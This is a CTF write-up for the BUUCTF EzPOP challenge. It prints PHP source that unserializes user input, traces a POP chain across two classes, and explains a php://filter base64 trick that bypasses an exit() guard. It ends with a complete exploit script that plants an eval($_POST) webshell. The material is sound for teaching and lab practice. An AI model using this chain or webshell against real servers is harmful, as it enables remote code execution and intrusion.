"CTF Web replication" BUUCTF-[EIS 2019]EzPOP

Keywords: PHP Web Security CTF

Utilization point

  • base64 + filter protocol bypasses death exit

Source code

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // Creation failed
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //data compression
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

Code audit

class B

base64 + filter protocol bypasses death exit

Class B has a write file function. The target should be to write a shell, which is located in B::set()

$result = file_put_contents($filename, $data);

Look at $filename first

$filename = $this->getCacheKey($name);

Catch up with B::getCacheKey()

public function getCacheKey(string $name): string {
    return $this->options['prefix'] . $name;
}

Here, $options is an array that can be controlled, and $name is also a variable that can be controlled, that is, both the file name and prefix can be controlled. After observation, the $name here comes from B::set()

public function set($name, $value, $expire = null): bool

Then take a look at the contents of the written file $data and go up one step

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

Here, the first command is spliced after exit(). If normal writing can never be executed, that is, death exit(), P God has an article on bypassing death exit()

Talk about it php://filter Clever use of @ PHITHON

In short, the command is spliced into exit() based on base64 first, and then decoded and written by filter protocol base64. sprintf here is a 12 digit number, and the passed in $expire=0. Since decoding automatically skips illegal characters, only base64 ciphertext php / / 000000000000000000exit and subsequent commands will be left in death exit (). Meanwhile, since base64 is a group of 4 characters, three visible characters should be added to $data to make up 12 characters. In this way, the incoming base64 ciphertext is as follows. After base64, the php command will be generated

php//000000000000exit (Base64 of the command to be executed)

Just file_put_contents supports parsing pseudo protocol: then B::$options['prefix '] is assigned as php://filter/write=convert.base64-decode/resource =, the parameter $expire passed into B::set() is assigned to any number no more than 12 digits. First trace the source of $expire

Format as int

$expire = $this->getExpireTime($expire);

Then there is an assignment judgment

if (is_null($expire)) {
    $expire = $this->options['expire'];
}

Then $expire comes from the set parameter

public function set($name, $value, $expire = null): bool

Therefore, $expire can be from a parameter or B::$options['expire ']

After $expire is completed, go up and catch up with $data. To bypass death exit(), there is a data compression function on it. You can't go in here. Assign options['data_compress'] to false

if ($this->options['data_compress'] && function_exists('gzcompress')) {
    //data compression
     $data = gzcompress($data, 3);
}

Go back and find the source of $data from B::serialize($value)

$data = $this->serialize($value);

$value is a parameter passed from B::set(). This serialize function is defined by class B itself. It is controllable here. It is passed in as a function method

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this->options['serialize'];

    return $serialize($data);
}

Description of B::serialize()

This step of serialize is a redundant operation. Our goal is to go through this function, but the returned content remains unchanged. You can choose to encode (pass in base64 and then decode it), or remove the white space characters (rtrim) on both sides of the incoming command. Just do nothing. payload selects base64 decoding by default

class A

Look at the class A destructor

public function __destruct() {
    if (!$this->autosave) {
        $this->save();
    }
}

To enter the save function, first assign A::$autosave to 0, and the save function calls the set function

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

As long as A::$store is assigned new B(), B::set() can be called, which completes the connection between the two classes. Here, $key corresponds to the file name to be written, and $contents corresponds to the content to be written. See its source

public function getForStorage() {
    $cleaned = $this->cleanContents($this->cache);

    return json_encode([$cleaned, $this->complete]);
}

The $cleared here comes from $A::cache and is an empty array; The written content comes from A::$complete

Construct payload

The last difficulty is to construct payload and assign it to A::$complete

  • First of all: after a B::serialize(), we perform a redundant operation, that is, base64_decode, so A::$complete needs Base64 once_ encode()

See the description of B::serialize() above

  • After that: it bypasses the death exit(). It was calculated that three characters should be rounded up before, and then the base64 encoding of the command to be executed
A::$complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));

Write a sentence. The Trojan horse is connected with an ant sword

POP chain construction

According to the above code audit, construct the POP chain

file_put_contents();
B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize();
A::save() + A::getForStorage() + A::cleanContents();
A::__destruct();

class B

class B{
    public $options;
    public function __construct(){
        $this->options = array();
        // Bypass death exit and use filter pseudo protocol
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        // Skip data compression
        $this->options['data_compress'] = 0;
        // For functions that do nothing, base64 decoding is performed here
        $this->options['serialize'] = 'base64_decode';
        // Supplement sprintf
        $this->options['expire'] = 0;
    }
}

class A

class A{
    protected $key;
    protected $store;
    protected $expire;

    public function __construct(){
    	// Enter A::save()
        $this->autosave = 0;
        // B::set() entry
        $this->store = new B();
        // Initial assignment
        $this->cache = array();
        // Write the file name of the webshell
        $this->key = '1.php';
		// payload
        $this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
    }
}

EXP

<?php

class A{
    protected $key;
    protected $store;
    protected $expire;

    public function __construct(){
        $this->autosave = 0;
        $this->store = new B();
        $this->cache = array();
        $this->key = '1.php';

        $this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
    }
}

class B{
    public $options;
    public function __construct(){
        $this->options = array();
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = 0;
        $this->options['serialize'] = 'base64_decode';
        $this->options['expire'] = 0;
    }
}

echo urlencode(serialize(new A()));

finish

Welcome to leave a message in the comment area

Posted by greenie2600 on Thu, 07 Oct 2021 08:22:52 -0700